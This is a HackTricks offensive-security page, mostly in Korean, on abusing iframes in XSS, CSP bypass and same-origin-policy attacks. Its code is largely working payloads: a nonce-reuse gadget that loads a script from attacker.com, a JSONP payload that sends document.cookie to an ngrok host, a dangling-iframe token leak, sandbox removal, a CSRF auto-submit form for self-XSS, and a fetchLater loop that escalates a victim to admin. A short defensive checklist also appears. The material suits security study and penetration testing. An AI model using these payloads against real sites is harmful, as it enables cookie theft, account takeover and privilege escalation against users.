Iframes in XSS, CSP 및 SOP
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
XSS에서의 Iframes
iframe으로 삽입된 페이지의 콘텐츠를 지정하는 방법은 3가지입니다:
src를 통해 URL을 지정 (URL은 cross origin 또는 same origin일 수 있음)src로data:프로토콜을 사용해 콘텐츠를 지정srcdoc로 콘텐츠를 지정
부모 및 자식 변수 접근
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window.
상위 문서(parent)는 어떤 iframe 내부의 secret 변수에 접근할 수 없으며, 원본 창에서는 오직 iframes if2 & if3(동일 사이트로 간주되는)만 secret에 접근할 수 있음을 확인할 수 있습니다.
if4는 null origin으로 간주된다는 점에 유의하세요.
srcdoc — real exploits에서 중요한 특성
두 가지 srcdoc 관련 사항은 exploitation 중에 놓치기 쉽습니다:
- 프레임이
allow-same-origin없이 sandboxed 되어 있지 않다면,srcdoc문서는 상위 문서(parent)와 same-origin입니다. 따라서srcdoc에 공격자가 제어하는 HTML을 주입하는 것은 보통 최상위 문서에 대한 직접적인 DOM 접근을 허용하는 것과 같습니다. - 문서 URL이
about:srcdoc일지라도, 상대 URL은 embedding page URL을 base URL로 사용하여 해석됩니다. 이는<script src="/upload/payload.js"></script>나<img src="/internal/debug">같은 페이로드가about:srcdoc가 아니라 parent origin을 대상으로 한다는 것을 의미합니다.
Practical payload:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
이는 마크업만 제어할 수 있고 same-origin 경로가 공격자가 제어하는 JavaScript, JSONP 또는 HTML을 제한적인 CSP 없이 반환한다는 것을 알고 있을 때 특히 유용합니다.
CSP가 적용된 Iframes
Tip
다음 우회 기법들에서는 iframe으로 불러온 페이지의 응답에 JS 실행을 차단하는 CSP 헤더가 포함되어 있지 않다는 점에 유의하세요.
The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
따라서 다음과 같이 페이지의 CSP를 우회할 수 있습니다:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Note how the previous CSP only permits the execution of the inline script.
However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret.
.png)
Therefore, it’s possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint.
You can test this with the following scenario were a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
New (2023-2025) CSP 우회 기법 (iframes 사용)
연구 커뮤니티는 제한적인 CSP 정책을 우회하기 위해 iframes를 악용하는 창의적인 방법들을 계속해서 발견하고 있습니다. 아래는 지난 몇 년간 발표된 가장 주목할 만한 기법들입니다:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – 애플리케이션이 HTML을 반사하지만 강력한 CSP가 스크립트 실행을 차단할 경우, dangling
<iframe name>속성을 주입하여 민감한 토큰을 leak할 수 있습니다. 부분 마크업이 파싱된 후, 별도 오리진에서 실행되는 attacker 스크립트가 프레임을 about:blank로 내비게이션하고 window.name을 읽으면, 해당 값에는 다음 따옴표 문자까지의 모든 내용(예: CSRF token)이 포함됩니다. 피해자 컨텍스트에서 JavaScript가 실행되지 않기 때문에, 이 공격은 보통script-src 'none'를 회피합니다. 최소 PoC는 다음과 같습니다:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – CSP nonces는 same-origin 문서에서 DOM을 통해 읽을 수 있습니다. 공격자가 same-origin HTML 페이지를 주입하거나 업로드하여 iframe으로 로드할 수 있다면, 자식 프레임은
top.document.querySelector('[nonce]').nonce를 읽어 새로운<script nonce>요소를 생성할 수 있습니다. 이는 nonce가 이미 신뢰되기 때문에strict-dynamic하에서도 동일-오리진 HTML 주입을 완전한 script 실행으로 전환합니다. 다음 가젯은 마크업 주입을 XSS로 권한 상승시킵니다:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) –
form-action지시어를 누락한 페이지는 주입된 iframe이나 인라인 HTML에서 로그인 폼이 re-targeted 되어, password managers가 자격 증명을 자동 완성하고 외부 도메인으로 제출하게 만들 수 있습니다. 이는script-src 'none'이 존재할 때에도 발생할 수 있습니다. 항상default-src와 함께form-action을 설정하세요!
방어 노트 (간단 체크리스트)
- 항상 보조 컨텍스트를 제어하는 모든 CSP 지시어(
form-action,frame-src,child-src,object-src등)를 전송하세요. - nonces를 비밀로 간주하지 마세요—
strict-dynamic을 사용하고 주입 포인트를 제거하세요. - 신뢰할 수 없는 문서를 포함해야 할 때는
sandbox="allow-scripts allow-same-origin"를 매우 주의해서 사용하세요(스크립트 실행 격리만 필요하면allow-same-origin없이 사용). - 방어 심층화(Defense-in-depth) 차원에서 COOP+COEP 배치를 고려하세요; 새로운
<iframe credentialless>속성(아래 §)을 사용하면 타사 임베드를 깨뜨리지 않고도 이를 수행할 수 있습니다.
Other Payloads found on the wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
iframe 내부의 내용은 sandbox 속성을 사용하여 추가 제약을 받을 수 있다. 기본적으로 이 속성은 적용되어 있지 않으므로 아무런 제한이 없다.
사용하면 sandbox 속성은 여러 제한을 부과한다:
- 콘텐츠는 고유한 출처에서 온 것처럼 처리된다.
- 폼 전송 시도는 모두 차단된다.
- 스크립트 실행이 금지된다.
- 일부 API 접근이 비활성화된다.
- 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지한다.
<embed>,<object>,<applet>또는 유사 태그를 통한 플러그인 사용이 금지된다.- 콘텐츠 자체가 최상위 브라우징 컨텍스트를 탐색하는 것을 차단한다.
- 비디오 재생이나 폼 컨트롤의 자동 포커스처럼 자동으로 트리거되는 기능들이 차단된다.
팁: 최신 브라우저는 allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation 등과 같은 세분화된 플래그를 지원한다. 임베디드 애플리케이션에 필요한 최소 권한만 부여하도록 이들을 조합하라.
속성 값을 비워 두면 (sandbox="") 앞서 언급한 모든 제한이 적용된다. 또는 공백으로 구분된 특정 값들의 목록으로 설정하여 iframe을 일부 제한에서 제외할 수 있다.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
임베디드된 페이지가 same-origin이고 allow-scripts와 allow-same-origin을 모두 허용하면, sandbox는 매우 약한 경계가 됩니다. 자식 페이지는 JavaScript를 실행하고, top.document에 접근하며, 자신의 <iframe> 요소에서 sandbox 속성까지 제거할 수 있습니다:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
In practice, sandbox="allow-scripts allow-same-origin" should be treated as 공격자가 조작한 same-origin 콘텐츠에 대해 안전하지 않음. 일부 서드파티 임베드에는 여전히 유용하지만, 적대적인 same-origin HTML에 대한 격리 경계는 아니다.
Credentialless iframes
As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
- Scripts in different credentialless iframes still share the same top-level origin and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
- Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
- Storage is partitioned by a top-level document nonce: credentialless frames on the same page can share storage with each other, but it is cleared when the top-level document is discarded.
- Pop-ups spawned from a credentialless iframe get an implicit
rel="noopener", breaking some OAuth flows. - Browsers are expected to disable autofill/password managers inside credentialless iframes, limiting credential theft via autofill in these contexts.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- 공격 예시: Self-XSS + CSRF
이 공격에서, 공격자는 2개의 iframe을 포함한 악성 웹페이지를 준비합니다:
credentialless플래그로 victim의 페이지를 로드하고 CSRF로 XSS를 유발하는 iframe (예: 사용자 이름에 Self-XSS가 있다고 가정):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- 사용자로 실제로 로그인된 다른 iframe (
credentialless플래그 없이).
그런 다음 XSS를 통해 동일한 SOP를 공유하므로 다른 iframe에 접근할 수 있고, 예를 들어 cookie를 탈취할 수 있습니다. 실행 예:
alert(window.top[1].document.cookie);
fetchLater 공격
이 글에서 설명한 것처럼 API fetchLater는 나중에 실행할 요청을 구성할 수 있게 해줍니다. 이를 악용하면 예를 들어 Self-XSS로 피해자를 공격자의 세션에 로그인시키고, fetchLater 요청을 예약(예: 현재 사용자의 비밀번호를 변경)한 뒤 공격자 세션에서 로그아웃할 수 있습니다. 그런 다음 피해자가 자신의 세션에 로그인하면 연기된 요청이 디스패치 시점에 사용 가능한 쿠키로 실행되어 피해자의 비밀번호를 공격자가 설정한 값으로 변경할 수 있습니다.
운영상 주의사항:
fetchLater는 2024년에 Chrome origin trial에 들어갔고 Chrome 135(2025년 4월)에 출시되었으므로, 의존하기 전에 feature-detect 하세요.- 응답은 JavaScript에서 사용할 수 없습니다; 지연된 요청이 전송되면 body/headers는 무시됩니다.
- 지연 요청에 대한 CSP 적용은
connect-src(script-src가 아님)를 사용합니다. - 요청은 페이지 언로드 시 또는
activateAfter가 만료될 때(둘 중 먼저 발생하는 경우) 발생합니다. - 단일 최대 지연은 현재
299000ms이므로, 긴 대기 시간은 여러 개의 지연 요청을 재예약해야 합니다.
이렇게 하면 피해자 URL이 iframe에서 로드될 수 없더라도(CSP나 다른 제한 때문에) 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
SOP에서의 Iframes
다음 페이지를 확인하세요:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
참고자료
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


